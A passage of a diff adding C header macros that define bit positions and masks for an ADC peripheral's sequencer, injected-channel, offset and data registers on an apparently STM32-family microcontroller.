ADC_SQR1_L_Pos) /*!< 0x00000002 */ +#define ADC_SQR1_L_2 (0x4UL << ADC_SQR1_L_Pos) /*!< 0x00000004 */ +#define ADC_SQR1_L_3 (0x8UL << ADC_SQR1_L_Pos) /*!< 0x00000008 */ + +#define ADC_SQR1_SQ1_Pos (6U) +#define ADC_SQR1_SQ1_Msk (0x1FUL << ADC_SQR1_SQ1_Pos) /*!< 0x000007C0 */ +#define ADC_SQR1_SQ1 ADC_SQR1_SQ1_Msk /*!< ADC group regular sequencer rank 1 */ +#define ADC_SQR1_SQ1_0 (0x01UL << ADC_SQR1_SQ1_Pos) /*!< 0x00000040 */ +#define ADC_SQR1_SQ1_1 (0x02UL << ADC_SQR1_SQ1_Pos) /*!< 0x00000080 */ +#define ADC_SQR1_SQ1_2 (0x04UL << ADC_SQR1_SQ1_Pos) /*!< 0x00000100 */ +#define ADC_SQR1_SQ1_3 (0x08UL << ADC_SQR1_SQ1_Pos) /*!< 0x00000200 */ +#define ADC_SQR1_SQ1_4 (0x10UL << ADC_SQR1_SQ1_Pos) /*!< 0x00000400 */ + +#define ADC_SQR1_SQ2_Pos (12U) +#define ADC_SQR1_SQ2_Msk (0x1FUL << ADC_SQR1_SQ2_Pos) /*!< 0x0001F000 */ +#define ADC_SQR1_SQ2 ADC_SQR1_SQ2_Msk /*!< ADC group regular sequencer rank 2 */ +#define ADC_SQR1_SQ2_0 (0x01UL << ADC_SQR1_SQ2_Pos) /*!< 0x00001000 */ +#define ADC_SQR1_SQ2_1 (0x02UL << ADC_SQR1_SQ2_Pos) /*!< 0x00002000 */ +#define ADC_SQR1_SQ2_2 (0x04UL << ADC_SQR1_SQ2_Pos) /*!< 0x00004000 */ +#define ADC_SQR1_SQ2_3 (0x08UL << ADC_SQR1_SQ2_Pos) /*!< 0x00008000 */ +#define ADC_SQR1_SQ2_4 (0x10UL << ADC_SQR1_SQ2_Pos) /*!< 0x00010000 */ + +#define ADC_SQR1_SQ3_Pos (18U) +#define ADC_SQR1_SQ3_Msk (0x1FUL << ADC_SQR1_SQ3_Pos) /*!< 0x007C0000 */ +#define ADC_SQR1_SQ3 ADC_SQR1_SQ3_Msk /*!< ADC group regular sequencer rank 3 */ +#define ADC_SQR1_SQ3_0 (0x01UL << ADC_SQR1_SQ3_Pos) /*!< 0x00040000 */ +#define ADC_SQR1_SQ3_1 (0x02UL << ADC_SQR1_SQ3_Pos) /*!< 0x00080000 */ +#define ADC_SQR1_SQ3_2 (0x04UL << ADC_SQR1_SQ3_Pos) /*!< 0x00100000 */ +#define ADC_SQR1_SQ3_3 (0x08UL << ADC_SQR1_SQ3_Pos) /*!< 0x00200000 */ +#define ADC_SQR1_SQ3_4 (0x10UL<< ADC_SQR1_SQ3_Pos) /*!< 0x00400000 */ + +#define ADC_SQR1_SQ4_Pos (24U) +#define ADC_SQR1_SQ4_Msk (0x1FUL << ADC_SQR1_SQ4_Pos) /*!< 0x1F000000 */ +#define ADC_SQR1_SQ4 ADC_SQR1_SQ4_Msk /*!< ADC group regular sequencer rank 4 */ +#define ADC_SQR1_SQ4_0 (0x01UL << ADC_SQR1_SQ4_Pos) /*!< 0x01000000 */ +#define ADC_SQR1_SQ4_1 (0x02UL << ADC_SQR1_SQ4_Pos) /*!< 0x02000000 */ +#define ADC_SQR1_SQ4_2 (0x04UL << ADC_SQR1_SQ4_Pos) /*!< 0x04000000 */ +#define ADC_SQR1_SQ4_3 (0x08UL << ADC_SQR1_SQ4_Pos) /*!< 0x08000000 */ +#define ADC_SQR1_SQ4_4 (0x10UL << ADC_SQR1_SQ4_Pos) /*!< 0x10000000 */ + +/******************** Bit definition for ADC_SQR2 register ******************/ +#define ADC_SQR2_SQ5_Pos (0U) +#define ADC_SQR2_SQ5_Msk (0x1FUL << ADC_SQR2_SQ5_Pos) /*!< 0x0000001F */ +#define ADC_SQR2_SQ5 ADC_SQR2_SQ5_Msk /*!< ADC group regular sequencer rank 5 */ +#define ADC_SQR2_SQ5_0 (0x01UL << ADC_SQR2_SQ5_Pos) /*!< 0x00000001 */ +#define ADC_SQR2_SQ5_1 (0x02UL << ADC_SQR2_SQ5_Pos) /*!< 0x00000002 */ +#define ADC_SQR2_SQ5_2 (0x04UL << ADC_SQR2_SQ5_Pos) /*!< 0x00000004 */ +#define ADC_SQR2_SQ5_3 (0x08UL << ADC_SQR2_SQ5_Pos) /*!< 0x00000008 */ +#define ADC_SQR2_SQ5_4 (0x10UL << ADC_SQR2_SQ5_Pos) /*!< 0x00000010 */ + +#define ADC_SQR2_SQ6_Pos (6U) +#define ADC_SQR2_SQ6_Msk (0x1FUL << ADC_SQR2_SQ6_Pos) /*!< 0x000007C0 */ +#define ADC_SQR2_SQ6 ADC_SQR2_SQ6_Msk /*!< ADC group regular sequencer rank 6 */ +#define ADC_SQR2_SQ6_0 (0x01UL << ADC_SQR2_SQ6_Pos) /*!< 0x00000040 */ +#define ADC_SQR2_SQ6_1 (0x02UL << ADC_SQR2_SQ6_Pos) /*!< 0x00000080 */ +#define ADC_SQR2_SQ6_2 (0x04UL << ADC_SQR2_SQ6_Pos) /*!< 0x00000100 */ +#define ADC_SQR2_SQ6_3 (0x08UL << ADC_SQR2_SQ6_Pos) /*!< 0x00000200 */ +#define ADC_SQR2_SQ6_4 (0x10UL << ADC_SQR2_SQ6_Pos) /*!< 0x00000400 */ + +#define ADC_SQR2_SQ7_Pos (12U) +#define ADC_SQR2_SQ7_Msk (0x1FUL << ADC_SQR2_SQ7_Pos) /*!< 0x0001F000 */ +#define ADC_SQR2_SQ7 ADC_SQR2_SQ7_Msk /*!< ADC group regular sequencer rank 7 */ +#define ADC_SQR2_SQ7_0 (0x01UL << ADC_SQR2_SQ7_Pos) /*!< 0x00001000 */ +#define ADC_SQR2_SQ7_1 (0x02UL << ADC_SQR2_SQ7_Pos) /*!< 0x00002000 */ +#define ADC_SQR2_SQ7_2 (0x04UL << ADC_SQR2_SQ7_Pos) /*!< 0x00004000 */ +#define ADC_SQR2_SQ7_3 (0x08UL << ADC_SQR2_SQ7_Pos) /*!< 0x00008000 */ +#define ADC_SQR2_SQ7_4 (0x10UL << ADC_SQR2_SQ7_Pos) /*!< 0x00010000 */ + +#define ADC_SQR2_SQ8_Pos (18U) +#define ADC_SQR2_SQ8_Msk (0x1FUL << ADC_SQR2_SQ8_Pos) /*!< 0x007C0000 */ +#define ADC_SQR2_SQ8 ADC_SQR2_SQ8_Msk /*!< ADC group regular sequencer rank 8 */ +#define ADC_SQR2_SQ8_0 (0x01UL << ADC_SQR2_SQ8_Pos) /*!< 0x00040000 */ +#define ADC_SQR2_SQ8_1 (0x02UL << ADC_SQR2_SQ8_Pos) /*!< 0x00080000 */ +#define ADC_SQR2_SQ8_2 (0x04UL << ADC_SQR2_SQ8_Pos) /*!< 0x00100000 */ +#define ADC_SQR2_SQ8_3 (0x08UL << ADC_SQR2_SQ8_Pos) /*!< 0x00200000 */ +#define ADC_SQR2_SQ8_4 (0x10UL << ADC_SQR2_SQ8_Pos) /*!< 0x00400000 */ + +#define ADC_SQR2_SQ9_Pos (24U) +#define ADC_SQR2_SQ9_Msk (0x1FUL << ADC_SQR2_SQ9_Pos) /*!< 0x1F000000 */ +#define ADC_SQR2_SQ9 ADC_SQR2_SQ9_Msk /*!< ADC group regular sequencer rank 9 */ +#define ADC_SQR2_SQ9_0 (0x01UL << ADC_SQR2_SQ9_Pos) /*!< 0x01000000 */ +#define ADC_SQR2_SQ9_1 (0x02UL << ADC_SQR2_SQ9_Pos) /*!< 0x02000000 */ +#define ADC_SQR2_SQ9_2 (0x04UL << ADC_SQR2_SQ9_Pos) /*!< 0x04000000 */ +#define ADC_SQR2_SQ9_3 (0x08UL << ADC_SQR2_SQ9_Pos) /*!< 0x08000000 */ +#define ADC_SQR2_SQ9_4 (0x10UL << ADC_SQR2_SQ9_Pos) /*!< 0x10000000 */ + +/******************** Bit definition for ADC_SQR3 register ******************/ +#define ADC_SQR3_SQ10_Pos (0U) +#define ADC_SQR3_SQ10_Msk (0x1FUL << ADC_SQR3_SQ10_Pos) /*!< 0x0000001F */ +#define ADC_SQR3_SQ10 ADC_SQR3_SQ10_Msk /*!< ADC group regular sequencer rank 10 */ +#define ADC_SQR3_SQ10_0 (0x01UL << ADC_SQR3_SQ10_Pos) /*!< 0x00000001 */ +#define ADC_SQR3_SQ10_1 (0x02UL << ADC_SQR3_SQ10_Pos) /*!< 0x00000002 */ +#define ADC_SQR3_SQ10_2 (0x04UL << ADC_SQR3_SQ10_Pos) /*!< 0x00000004 */ +#define ADC_SQR3_SQ10_3 (0x08UL << ADC_SQR3_SQ10_Pos) /*!< 0x00000008 */ +#define ADC_SQR3_SQ10_4 (0x10UL << ADC_SQR3_SQ10_Pos) /*!< 0x00000010 */ + +#define ADC_SQR3_SQ11_Pos (6U) +#define ADC_SQR3_SQ11_Msk (0x1FUL << ADC_SQR3_SQ11_Pos) /*!< 0x000007C0 */ +#define ADC_SQR3_SQ11 ADC_SQR3_SQ11_Msk /*!< ADC group regular sequencer rank 11 */ +#define ADC_SQR3_SQ11_0 (0x01UL << ADC_SQR3_SQ11_Pos) /*!< 0x00000040 */ +#define ADC_SQR3_SQ11_1 (0x02UL << ADC_SQR3_SQ11_Pos) /*!< 0x00000080 */ +#define ADC_SQR3_SQ11_2 (0x04UL << ADC_SQR3_SQ11_Pos) /*!< 0x00000100 */ +#define ADC_SQR3_SQ11_3 (0x08UL << ADC_SQR3_SQ11_Pos) /*!< 0x00000200 */ +#define ADC_SQR3_SQ11_4 (0x10UL << ADC_SQR3_SQ11_Pos) /*!< 0x00000400 */ + +#define ADC_SQR3_SQ12_Pos (12U) +#define ADC_SQR3_SQ12_Msk (0x1FUL << ADC_SQR3_SQ12_Pos) /*!< 0x0001F000 */ +#define ADC_SQR3_SQ12 ADC_SQR3_SQ12_Msk /*!< ADC group regular sequencer rank 12 */ +#define ADC_SQR3_SQ12_0 (0x01UL << ADC_SQR3_SQ12_Pos) /*!< 0x00001000 */ +#define ADC_SQR3_SQ12_1 (0x02UL << ADC_SQR3_SQ12_Pos) /*!< 0x00002000 */ +#define ADC_SQR3_SQ12_2 (0x04UL << ADC_SQR3_SQ12_Pos) /*!< 0x00004000 */ +#define ADC_SQR3_SQ12_3 (0x08UL << ADC_SQR3_SQ12_Pos) /*!< 0x00008000 */ +#define ADC_SQR3_SQ12_4 (0x10UL << ADC_SQR3_SQ12_Pos) /*!< 0x00010000 */ + +#define ADC_SQR3_SQ13_Pos (18U) +#define ADC_SQR3_SQ13_Msk (0x1FUL << ADC_SQR3_SQ13_Pos) /*!< 0x007C0000 */ +#define ADC_SQR3_SQ13 ADC_SQR3_SQ13_Msk /*!< ADC group regular sequencer rank 13 */ +#define ADC_SQR3_SQ13_0 (0x01UL << ADC_SQR3_SQ13_Pos) /*!< 0x00040000 */ +#define ADC_SQR3_SQ13_1 (0x02UL << ADC_SQR3_SQ13_Pos) /*!< 0x00080000 */ +#define ADC_SQR3_SQ13_2 (0x04UL << ADC_SQR3_SQ13_Pos) /*!< 0x00100000 */ +#define ADC_SQR3_SQ13_3 (0x08UL << ADC_SQR3_SQ13_Pos) /*!< 0x00200000 */ +#define ADC_SQR3_SQ13_4 (0x10UL << ADC_SQR3_SQ13_Pos) /*!< 0x00400000 */ + +#define ADC_SQR3_SQ14_Pos (24U) +#define ADC_SQR3_SQ14_Msk (0x1FUL << ADC_SQR3_SQ14_Pos) /*!< 0x1F000000 */ +#define ADC_SQR3_SQ14 ADC_SQR3_SQ14_Msk /*!< ADC group regular sequencer rank 14 */ +#define ADC_SQR3_SQ14_0 (0x01UL << ADC_SQR3_SQ14_Pos) /*!< 0x01000000 */ +#define ADC_SQR3_SQ14_1 (0x02UL << ADC_SQR3_SQ14_Pos) /*!< 0x02000000 */ +#define ADC_SQR3_SQ14_2 (0x04UL << ADC_SQR3_SQ14_Pos) /*!< 0x04000000 */ +#define ADC_SQR3_SQ14_3 (0x08UL << ADC_SQR3_SQ14_Pos) /*!< 0x08000000 */ +#define ADC_SQR3_SQ14_4 (0x10UL << ADC_SQR3_SQ14_Pos) /*!< 0x10000000 */ + +/******************** Bit definition for ADC_SQR4 register ******************/ +#define ADC_SQR4_SQ15_Pos (0U) +#define ADC_SQR4_SQ15_Msk (0x1FUL << ADC_SQR4_SQ15_Pos) /*!< 0x0000001F */ +#define ADC_SQR4_SQ15 ADC_SQR4_SQ15_Msk /*!< ADC group regular sequencer rank 15 */ +#define ADC_SQR4_SQ15_0 (0x01UL << ADC_SQR4_SQ15_Pos) /*!< 0x00000001 */ +#define ADC_SQR4_SQ15_1 (0x02UL << ADC_SQR4_SQ15_Pos) /*!< 0x00000002 */ +#define ADC_SQR4_SQ15_2 (0x04UL << ADC_SQR4_SQ15_Pos) /*!< 0x00000004 */ +#define ADC_SQR4_SQ15_3 (0x08UL << ADC_SQR4_SQ15_Pos) /*!< 0x00000008 */ +#define ADC_SQR4_SQ15_4 (0x10UL << ADC_SQR4_SQ15_Pos) /*!< 0x00000010 */ + +#define ADC_SQR4_SQ16_Pos (6U) +#define ADC_SQR4_SQ16_Msk (0x1FUL << ADC_SQR4_SQ16_Pos) /*!< 0x000007C0 */ +#define ADC_SQR4_SQ16 ADC_SQR4_SQ16_Msk /*!< ADC group regular sequencer rank 16 */ +#define ADC_SQR4_SQ16_0 (0x01UL << ADC_SQR4_SQ16_Pos) /*!< 0x00000040 */ +#define ADC_SQR4_SQ16_1 (0x02UL << ADC_SQR4_SQ16_Pos) /*!< 0x00000080 */ +#define ADC_SQR4_SQ16_2 (0x04UL << ADC_SQR4_SQ16_Pos) /*!< 0x00000100 */ +#define ADC_SQR4_SQ16_3 (0x08UL << ADC_SQR4_SQ16_Pos) /*!< 0x00000200 */ +#define ADC_SQR4_SQ16_4 (0x10UL << ADC_SQR4_SQ16_Pos) /*!< 0x00000400 */ + +/******************** Bit definition for ADC_DR register ********************/ +#define ADC_DR_RDATA_Pos (0U) +#define ADC_DR_RDATA_Msk (0xFFFFUL << ADC_DR_RDATA_Pos) /*!< 0x0000FFFF */ +#define ADC_DR_RDATA ADC_DR_RDATA_Msk /*!< ADC group regular conversion data */ + +/******************** Bit definition for ADC_JSQR register ******************/ +#define ADC_JSQR_JL_Pos (0U) +#define ADC_JSQR_JL_Msk (0x3UL << ADC_JSQR_JL_Pos) /*!< 0x00000003 */ +#define ADC_JSQR_JL ADC_JSQR_JL_Msk /*!< ADC group injected sequencer scan length */ +#define ADC_JSQR_JL_0 (0x1UL << ADC_JSQR_JL_Pos) /*!< 0x00000001 */ +#define ADC_JSQR_JL_1 (0x2UL << ADC_JSQR_JL_Pos) /*!< 0x00000002 */ + +#define ADC_JSQR_JEXTSEL_Pos (2U) +#define ADC_JSQR_JEXTSEL_Msk (0x1FUL << ADC_JSQR_JEXTSEL_Pos) /*!< 0x0000007C */ +#define ADC_JSQR_JEXTSEL ADC_JSQR_JEXTSEL_Msk /*!< ADC group injected external trigger source */ +#define ADC_JSQR_JEXTSEL_0 (0x1UL << ADC_JSQR_JEXTSEL_Pos) /*!< 0x00000004 */ +#define ADC_JSQR_JEXTSEL_1 (0x2UL << ADC_JSQR_JEXTSEL_Pos) /*!< 0x00000008 */ +#define ADC_JSQR_JEXTSEL_2 (0x4UL << ADC_JSQR_JEXTSEL_Pos) /*!< 0x00000010 */ +#define ADC_JSQR_JEXTSEL_3 (0x8UL << ADC_JSQR_JEXTSEL_Pos) /*!< 0x00000020 */ +#define ADC_JSQR_JEXTSEL_4 (0x10UL << ADC_JSQR_JEXTSEL_Pos) /*!< 0x00000040 */ + +#define ADC_JSQR_JEXTEN_Pos (7U) +#define ADC_JSQR_JEXTEN_Msk (0x3UL << ADC_JSQR_JEXTEN_Pos) /*!< 0x00000180 */ +#define ADC_JSQR_JEXTEN ADC_JSQR_JEXTEN_Msk /*!< ADC group injected external trigger polarity */ +#define ADC_JSQR_JEXTEN_0 (0x1UL << ADC_JSQR_JEXTEN_Pos) /*!< 0x00000080 */ +#define ADC_JSQR_JEXTEN_1 (0x2UL << ADC_JSQR_JEXTEN_Pos) /*!< 0x00000100 */ + +#define ADC_JSQR_JSQ1_Pos (9U) +#define ADC_JSQR_JSQ1_Msk (0x1FUL << ADC_JSQR_JSQ1_Pos) /*!< 0x00003E00 */ +#define ADC_JSQR_JSQ1 ADC_JSQR_JSQ1_Msk /*!< ADC group injected sequencer rank 1 */ +#define ADC_JSQR_JSQ1_0 (0x01UL << ADC_JSQR_JSQ1_Pos) /*!< 0x00000200 */ +#define ADC_JSQR_JSQ1_1 (0x02UL << ADC_JSQR_JSQ1_Pos) /*!< 0x00000400 */ +#define ADC_JSQR_JSQ1_2 (0x04UL << ADC_JSQR_JSQ1_Pos) /*!< 0x00000800 */ +#define ADC_JSQR_JSQ1_3 (0x08UL << ADC_JSQR_JSQ1_Pos) /*!< 0x00001000 */ +#define ADC_JSQR_JSQ1_4 (0x10UL << ADC_JSQR_JSQ1_Pos) /*!< 0x00002000 */ + +#define ADC_JSQR_JSQ2_Pos (15U) +#define ADC_JSQR_JSQ2_Msk (0x1FUL << ADC_JSQR_JSQ2_Pos) /*!< 0x0007C000 */ +#define ADC_JSQR_JSQ2 ADC_JSQR_JSQ2_Msk /*!< ADC group injected sequencer rank 2 */ +#define ADC_JSQR_JSQ2_0 (0x01UL << ADC_JSQR_JSQ2_Pos) /*!< 0x00004000 */ +#define ADC_JSQR_JSQ2_1 (0x02UL << ADC_JSQR_JSQ2_Pos) /*!< 0x00008000 */ +#define ADC_JSQR_JSQ2_2 (0x04UL << ADC_JSQR_JSQ2_Pos) /*!< 0x00010000 */ +#define ADC_JSQR_JSQ2_3 (0x08UL << ADC_JSQR_JSQ2_Pos) /*!< 0x00020000 */ +#define ADC_JSQR_JSQ2_4 (0x10UL << ADC_JSQR_JSQ2_Pos) /*!< 0x00040000 */ + +#define ADC_JSQR_JSQ3_Pos (21U) +#define ADC_JSQR_JSQ3_Msk (0x1FUL << ADC_JSQR_JSQ3_Pos) /*!< 0x03E00000 */ +#define ADC_JSQR_JSQ3 ADC_JSQR_JSQ3_Msk /*!< ADC group injected sequencer rank 3 */ +#define ADC_JSQR_JSQ3_0 (0x01UL << ADC_JSQR_JSQ3_Pos) /*!< 0x00200000 */ +#define ADC_JSQR_JSQ3_1 (0x02UL << ADC_JSQR_JSQ3_Pos) /*!< 0x00400000 */ +#define ADC_JSQR_JSQ3_2 (0x04UL << ADC_JSQR_JSQ3_Pos) /*!< 0x00800000 */ +#define ADC_JSQR_JSQ3_3 (0x08UL << ADC_JSQR_JSQ3_Pos) /*!< 0x01000000 */ +#define ADC_JSQR_JSQ3_4 (0x10UL << ADC_JSQR_JSQ3_Pos) /*!< 0x02000000 */ + +#define ADC_JSQR_JSQ4_Pos (27U) +#define ADC_JSQR_JSQ4_Msk (0x1FUL << ADC_JSQR_JSQ4_Pos) /*!< 0xF8000000 */ +#define ADC_JSQR_JSQ4 ADC_JSQR_JSQ4_Msk /*!< ADC group injected sequencer rank 4 */ +#define ADC_JSQR_JSQ4_0 (0x01UL << ADC_JSQR_JSQ4_Pos) /*!< 0x08000000 */ +#define ADC_JSQR_JSQ4_1 (0x02UL << ADC_JSQR_JSQ4_Pos) /*!< 0x10000000 */ +#define ADC_JSQR_JSQ4_2 (0x04UL << ADC_JSQR_JSQ4_Pos) /*!< 0x20000000 */ +#define ADC_JSQR_JSQ4_3 (0x08UL << ADC_JSQR_JSQ4_Pos) /*!< 0x40000000 */ +#define ADC_JSQR_JSQ4_4 (0x10UL << ADC_JSQR_JSQ4_Pos) /*!< 0x80000000 */ + +/******************** Bit definition for ADC_OFR1 register ******************/ +#define ADC_OFR1_OFFSET1_Pos (0U) +#define ADC_OFR1_OFFSET1_Msk (0xFFFUL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000FFF */ +#define ADC_OFR1_OFFSET1 ADC_OFR1_OFFSET1_Msk /*!< ADC offset number 1 offset level */ + +#define ADC_OFR1_OFFSETPOS_Pos (24U) +#define ADC_OFR1_OFFSETPOS_Msk (0x1UL << ADC_OFR1_OFFSETPOS_Pos) /*!< 0x01000000 */ +#define ADC_OFR1_OFFSETPOS ADC_OFR1_OFFSETPOS_Msk /*!< ADC offset number 1 positive */ +#define ADC_OFR1_SATEN_Pos (25U) +#define ADC_OFR1_SATEN_Msk (0x1UL << ADC_OFR1_SATEN_Pos) /*!< 0x02000000 */ +#define ADC_OFR1_SATEN ADC_OFR1_SATEN_Msk /*!< ADC offset number 1 saturation enable */ + +#define ADC_OFR1_OFFSET1_CH_Pos (26U) +#define ADC_OFR1_OFFSET1_CH_Msk (0x1FUL << ADC_OFR1_OFFSET1_CH_Pos) /*!< 0x7C000000 */ +#define ADC_OFR1_OFFSET1_CH ADC_OFR1_OFFSET1_CH_Msk /*!< ADC offset number 1 channel selection */ +#define ADC_OFR1_OFFSET1_CH_0 (0x01UL << ADC_OFR1_OFFSET1_CH_Pos) /*!< 0x04000000 */ +#define ADC_OFR1_OFFSET1_CH_1 (0x02UL << ADC_OFR1_OFFSET1_CH_Pos) /*!< 0x08000000 */ +#define ADC_OFR1_OFFSET1_CH_2 (0x04UL << ADC_OFR1_OFFSET1_CH_Pos) /*!< 0x10000000 */ +#define ADC_OFR1_OFFSET1_CH_3 (0x08UL << ADC_OFR1_OFFSET1_CH_Pos) /*!< 0x20000000 */ +#define ADC_OFR1_OFFSET1_CH_4 (0x10UL << ADC_OFR1_OFFSET1_CH_Pos) /*!< 0x40000000 */ + +#define ADC_OFR1_OFFSET1_EN_Pos (31U) +#define ADC_OFR1_OFFSET1_EN_Msk (0x1UL << ADC_OFR1_OFFSET1_EN_Pos) /*!< 0x80000000 */ +#define ADC_OFR1_OFFSET1_EN ADC_OFR1_OFFSET1_EN_Msk /*!< ADC offset number 1 enable */ + +/******************** Bit definition for ADC_OFR2 register ******************/ +#define ADC_OFR2_OFFSET2_Pos (0U) +#define ADC_OFR2_OFFSET2_Msk (0xFFFUL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000FFF */ +#define ADC_OFR2_OFFSET2 ADC_OFR2_OFFSET2_Msk /*!< ADC offset number 2 offset level */ + +#define ADC_OFR2_OFFSETPOS_Pos (24U) +#define ADC_OFR2_OFFSETPOS_Msk (0x1UL << ADC_OFR2_OFFSETPOS_Pos) /*!< 0x01000000 */ +#define ADC_OFR2_OFFSETPOS ADC_OFR2_OFFSETPOS_Msk /*!< ADC offset number 2 positive */ +#define ADC_OFR2_SATEN_Pos (25U) +#define ADC_OFR2_SATEN_Msk (0x1UL << ADC_OFR2_SATEN_Pos) /*!< 0x02000000 */ +#define ADC_OFR2_SATEN ADC_OFR2_SATEN_Msk /*!< ADC offset number 2 saturation enable */ + +#define ADC_OFR2_OFFSET2_CH_Pos (26U) +#define ADC_OFR2_OFFSET2_CH_Msk (0x1FUL << ADC_OFR2_OFFSET2_CH_Pos) /*!< 0x7C000000 */ +#define ADC_OFR2_OFFSET2_CH ADC_OFR2_OFFSET2_CH_Msk /*!< ADC offset number 2 channel selection */ +#define ADC_OFR2_OFFSET2_CH_0 (0x01UL << ADC_OFR2_OFFSET2_CH_Pos) /*!< 0x04000000 */ +#define ADC_OFR2_OFFSET2_CH_1 (0x02UL << ADC_OFR2_OFFSET2_CH_Pos) /*!< 0x08000000 */ +#define ADC_OFR2_OFFSET2_CH_2 (0x04UL << ADC_OFR2_OFFSET2_CH_Pos) /*!< 0x10000000 */ +#define ADC_OFR2_OFFSET2_CH_3 (0x08UL << ADC_OFR2_OFFSET2_CH_Pos) /*!< 0x20000000 */ +#define ADC_OFR2_OFFSET2_CH_4 (0x10UL << ADC_OFR2_OFFSET2_CH_Pos) /*!< 0x40000000 */ + +#define ADC_OFR2_OFFSET2_EN_Pos (31U) +#define ADC_OFR2_OFFSET2_EN_Msk (0x1UL << ADC_OFR2_OFFSET2_EN_Pos) /*!< 0x80000000 */ +#define ADC_OFR2_OFFSET2_EN ADC_OFR2_OFFSET2_EN_Msk /*!< ADC offset number 2 enable */ + +/******************** Bit definition for ADC_OFR3 register ******************/ +#define ADC_OFR3_OFFSET3_Pos (0U) +#define ADC_OFR3_OFFSET3_Msk (0xFFFUL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000FFF */ +#define ADC_OFR3_OFFSET3 ADC_OFR3_OFFSET3_Msk /*!< ADC offset number 3 offset level */ + +#define ADC_OFR3_OFFSETPOS_Pos (24U) +#define ADC_OFR3_OFFSETPOS_Msk (0x1UL << ADC_OFR3_OFFSETPOS_Pos) /*!< 0x01000000 */ +#define ADC_OFR3_OFFSETPOS ADC_OFR3_OFFSETPOS_Msk /*!< ADC offset number 3 positive */ +#define ADC_OFR3_SATEN_Pos (25U) +#define ADC_OFR3_SATEN_Msk (0x1UL << ADC_OFR3_SATEN_Pos) /*!< 0x02000000 */ +#define ADC_OFR3_SATEN ADC_OFR3_SATEN_Msk /*!< ADC offset number 3 saturation enable */ + +#define ADC_OFR3_OFFSET3_CH_Pos (26U) +#define ADC_OFR3_OFFSET3_CH_Msk (0x1FUL << ADC_OFR3_OFFSET3_CH_Pos) /*!< 0x7C000000 */ +#define ADC_OFR3_OFFSET3_CH ADC_OFR3_OFFSET3_CH_Msk /*!< ADC offset number 3 channel selection */ +#define ADC_OFR3_OFFSET3_CH_0 (0x01UL << ADC_OFR3_OFFSET3_CH_Pos) /*!< 0x04000000 */ +#define ADC_OFR3_OFFSET3_CH_1 (0x02UL << ADC_OFR3_OFFSET3_CH_Pos) /*!< 0x08000000 */ +#define ADC_OFR3_OFFSET3_CH_2 (0x04UL << ADC_OFR3_OFFSET3_CH_Pos) /*!< 0x10000000 */ +#define ADC_OFR3_OFFSET3_CH_3 (0x08UL << ADC_OFR3_OFFSET3_CH_Pos) /*!< 0x20000000 */ +#define ADC_OFR3_OFFSET3_CH_4 (0x10UL << ADC_OFR3_OFFSET3_CH_Pos) /*!< 0x40000000 */ + +#define ADC_OFR3_OFFSET3_EN_Pos (31U) +#define ADC_OFR3_OFFSET3_EN_Msk (0x1UL << ADC_OFR3_OFFSET3_EN_Pos) /*!< 0x80000000 */ +#define ADC_OFR3_OFFSET3_EN ADC_OFR3_OFFSET3_EN_Msk /*!< ADC offset number 3 enable */ + +/******************** Bit definition for ADC_OFR4 register ******************/ +#define ADC_OFR4_OFFSET4_Pos (0U) +#define ADC_OFR4_OFFSET4_Msk (0xFFFUL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000FFF */ +#define ADC_OFR4_OFFSET4 ADC_OFR4_OFFSET4_Msk /*!< ADC offset number 4 offset level */ + +#define ADC_OFR4_OFFSETPOS_Pos (24U) +#define ADC_OFR4_OFFSETPOS_Msk (0x1UL << ADC_OFR4_OFFSETPOS_Pos) /*!< 0x01000000 */ +#define ADC_OFR4_OFFSETPOS ADC_OFR4_OFFSETPOS_Msk /*!< ADC offset number 4 positive */ +#define ADC_OFR4_SATEN_Pos (25U) +#define ADC_OFR4_SATEN_Msk (0x1UL << ADC_OFR4_SATEN_Pos) /*!< 0x02000000 */ +#define ADC_OFR4_SATEN ADC_OFR4_SATEN_Msk /*!< ADC offset number 4 saturation enable */ + +#define ADC_OFR4_OFFSET4_CH_Pos (26U) +#define ADC_OFR4_OFFSET4_CH_Msk (0x1FUL << ADC_OFR4_OFFSET4_CH_Pos) /*!< 0x7C000000 */ +#define ADC_OFR4_OFFSET4_CH ADC_OFR4_OFFSET4_CH_Msk /*!< ADC offset number 4 channel selection */ +#define ADC_OFR4_OFFSET4_CH_0 (0x01UL << ADC_OFR4_OFFSET4_CH_Pos) /*!< 0x04000000 */ +#define ADC_OFR4_OFFSET4_CH_1 (0x02UL << ADC_OFR4_OFFSET4_CH_Pos) /*!< 0x08000000 */ +#define ADC_OFR4_OFFSET4_CH_2 (0x04UL << ADC_OFR4_OFFSET4_CH_Pos) /*!< 0x10000000 */ +#define ADC_OFR4_OFFSET4_CH_3 (0x08UL << ADC_OFR4_OFFSET4_CH_Pos) /*!< 0x20000000 */ +#define ADC_OFR4_OFFSET4_CH_4 (0x10UL << ADC_OFR4_OFFSET4_CH_Pos) /*!< 0x40000000 */ + +#define ADC_OFR4_OFFSET4_EN_Pos (31U) +#define ADC_OFR4_OFFSET4_EN_Msk (0x1UL << ADC_OFR4_OFFSET4_EN_Pos) /*!< 0x80000000 */ +#define ADC_OFR4_OFFSET4_EN ADC_OFR4_OFFSET4_EN_Msk /*!< ADC offset number 4 enable */ + +/******************** Bit definition for ADC_JDR1 register ******************/ +#define ADC_JDR1_JDATA_Pos (0U) +#define ADC_JDR1_JDATA_Msk (0xFFFFUL << ADC_JDR1_JDATA_Pos) /*!< 0x0000FFFF */ +#define ADC_JDR1_JDATA ADC_JDR1_JDATA_Msk /*!< ADC group injected sequencer rank 1 conversion data */ + +/******************** Bit definition for ADC_JDR2 register ******************/ +#define ADC_JDR2_JDATA_Pos (0U) +#define ADC_JDR2_JDATA_Msk (0xFFFFUL << ADC_JDR2_JDATA_Pos) /*!< 0x0000FFFF */ +#define ADC_JDR2_JDATA ADC_JDR2_JDATA_Msk /*!< ADC group injected sequencer rank 2 conversion data */ + +/******************** Bit definition for ADC_JDR3 register ******************/ +#define ADC_JDR3_JDATA_Pos (0U) +#define ADC_JDR3_JDATA_Msk (0xFFFFUL << ADC_JDR3_JDATA_Pos) /*!< 0x0000FFFF */ +#define ADC_JDR3_JDATA ADC_JDR3_JDATA_Msk /*!< ADC group injected sequencer rank 3 conversion data */ + +/******************** Bit definition for ADC_JDR4 register ******************/ +#define ADC_JDR4_JDATA_Pos (0U) +#define ADC_JDR4_JDATA_Msk (0xFFFFUL << ADC_JDR4_JDATA_Pos) /*!< 0x0000FFFF 